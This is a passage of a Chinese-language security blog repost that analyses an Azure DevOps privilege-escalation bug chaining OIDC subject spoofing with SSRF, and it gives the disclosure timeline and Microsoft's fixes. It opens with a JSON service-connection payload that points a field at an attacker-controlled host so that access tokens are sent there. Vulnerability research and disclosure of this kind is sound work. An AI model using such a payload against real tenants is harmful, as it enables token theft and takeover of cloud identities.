&nbsp; "serviceEndpointDetails":&nbsp;{
&nbsp; &nbsp; "data":&nbsp;{
&nbsp; &nbsp; &nbsp; "environment":&nbsp;"AzureCloud",
&nbsp; &nbsp; &nbsp; "scopeLevel":&nbsp;"Subscription",
&nbsp; &nbsp; &nbsp; "storageAccount":&nbsp;"test",
&nbsp; &nbsp; &nbsp; "identityType"&nbsp;:&nbsp;"AppRegistrationManual",
&nbsp; &nbsp; &nbsp; "creationMode":&nbsp;"Manual",
&nbsp; &nbsp; &nbsp; "mlWorkspaceLocation":&nbsp;"bbounty.azurewebsites.net?a=",
&nbsp; &nbsp; &nbsp; "subscriptionId":&nbsp;"00000000-0000-0000-0000-000000000000",
&nbsp; &nbsp; &nbsp; "mlWorkspaceName":&nbsp;"test"
&nbsp; &nbsp; },
&nbsp; &nbsp; "type":&nbsp;"azurerm",
&nbsp; &nbsp; "url":&nbsp;"https://management.azure.com/",
&nbsp; &nbsp; "authorization":&nbsp;{
&nbsp; &nbsp; &nbsp; "parameters":&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; "tenantid":&nbsp;"be68d3d0-141b-4b3d-b18d-4ddbe8818cf2",
&nbsp; &nbsp; &nbsp; &nbsp; "workloadIdentityFederationSubject":&nbsp;"anysubject",
&nbsp; &nbsp; &nbsp; &nbsp; "serviceprincipalid":&nbsp;"44c79819-1e17-461e-a59b-3c652f67862e"
&nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; "scheme":&nbsp;"WorkloadIdentityFederation"
&nbsp; &nbsp; }
&nbsp; }
}

结果就是，以下请求被发送到了我的应用服务：

事实上，有好几个端点可以用来获取针对不同后端资源的令牌。例如，下面是一张获取 Key Vault 令牌的截图：

用一个简单的流程图来总结整个攻击原理：

五、影响

我们现在有两个可以串联起来以造成实际影响的漏洞。我们能够：

1. 强制 Azure DevOps 生成一个带有我们可控主题（subject）的已签名 id 令牌。
2. 强制 Azure DevOps 将该令牌兑换成代表 Entra ID 中某个服务主体的访问令牌，且该服务主体是租户内任何使用了 Azure DevOps 服务连接配置联合凭证的服务主体。
3. 通过 SSRF 漏洞，强制 Azure DevOps 将获取到的 Entra ID 服务主体的访问令牌发送给我们。

最终结果是，组织中任何有权在 Azure DevOps 中创建服务连接的用户，都可以冒充 Entra ID 中任何使用了 DevOps 联合凭证的服务主体。在许多组织中，由于存在高权限的流水线（例如由平台团队运维的流水线），这可能导致 Entra ID 的完全沦陷。

为了更直观地说明这一点，请参见下图：

影响范围的限制

上文未讨论的一个细节是 OIDC 提供方本身。在测试期间，我们发现授权部分有一个参数 “workloadIdentityFederationIssuerType”，可以设置为 AzureAD 或 DevOps。在较老的组织中，此值默认为 DevOps，而在较新的组织中则默认为 AzureAD。这决定了令牌的 颁发者（issuer） 是谁。

此漏洞仅影响那些历史足够长、以至于仍将 DevOps 颁发者作为默认颁发者的组织。这一变更似乎是在最近几年内发生的，因此，大多数深度依赖 DevOps 的组织仍然受到此漏洞的影响。

六、总结

总而言之——Azure DevOps 中有一个“验证”按钮，用于在保存服务连接之前检查它是否真的有权访问后端资源。这个按钮是通过一个 API 调用实现的，该调用可用于将许多经过身份验证的操作“代理”到后端 API。所支持的许多操作中都包含 SSRF 漏洞，其中一些可被滥用以从服务连接中导出访问令牌。除此之外，还有一个额外的错误，允许攻击者利用同一端点上错误实现的 OIDC 功能来提升权限。

对于一个仅用于“验证身份验证”的按钮来说，这是一个巨大的实现缺陷，其影响也相当显著。事实上，在其他 CI/CD 提供方（如 Github Actions）中，他们并不费心去做这个——因为你可以通过检查日志来查看登录是否失败。

这就引出了一个问题——这个功能为什么存在？

这是 Web 应用程序中的一个经典问题：并非真正必要的功能暴露了巨大的攻击面，可能导致该 Web 应用被攻陷。真正的修复方法是弃用该 API，彻底移除这个攻击面。最终，这对 Azure DevOps 的实际功能不会有任何负面影响。

然而，微软只是增加了一些保护措施并修复了那个一次性的主题（subject）伪造问题，但未能解决该端点中系统性的 SSRF 漏洞……

七、向微软报告漏洞

我将此漏洞作为三个不同的问题进行了报告：

• 伪造 id 令牌的 subject，导致权限提升并接管服务主体
• 机器学习（Machine Learning）数据源中的 SSRF 漏洞
• Key Vault 中的 SSRF 漏洞（与机器学习中的 SSRF 类型相同）

大致时间线如下：

• 2025年8月5日：向微软报告。
• 微软将 Key Vault SSRF 漏洞的严重性设为低。
• 2025年9月10日：微软确认了 subject 伪造行为和权限提升问题。
• 2025年9月23日：微软发布了针对 subject 伪造问题的修复。
• 2025年10月1日：微软确认了 Key Vault SSRF 漏洞。
• 2025年10月21日：微软发布了针对 Key Vault SSRF 漏洞的修复。
• 对于导致访问令牌导出的机器学习 SSRF 漏洞，微软从未回应，但悄悄修复了它。

微软总共为权限提升漏洞奖励了 5000 美元，但没有为 SSRF 漏洞提供任何奖金。理由是：

虽然存在 SSRF 漏洞，但访问权限仅限于预定义的域名集合，且未发现除攻击者已有访问权限之外的任何权限提升。如果您能展示出导致实际权限提升的可行攻击，我们很乐意重新评估此问题的严重性。

引用链接

[1] 《Azure DevOps Privilege Escalation via OIDC Abuse》: https://dazesecurity.io/blog/azureDevOpsPrivEsc
[2] OAuth 客户端凭证授权（OAuth Client Credential Grant）: https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-client-creds-grant-flow
[3] 众所周知的公共 URL: https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderConfig
[4] “服务连接（Service Connection）”: https://learn.microsoft.com/en-us/azure/devops/pipelines/library/service-endpoints?view=azure-devops#common-service-connection-types
[5] 本地研究人员: https://www.binarysecurity.no/posts/2025/05/finding-ssrfs-in-devops-part2

交流群

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：云原生安全指北 Dubito
Dubito《Azure DevOps权限提升漏洞分析》

Tags: 云安全渗透测试漏洞分析

你可能错过

“战略共情”能否超越威胁叙事？——评《全栈间谍》

五角大楼3030万美元AI测谎仪项目全景

【软考网规】第二章数据通信原理

暗网泄露:美国 Vantage Media AI 6.28亿个人数据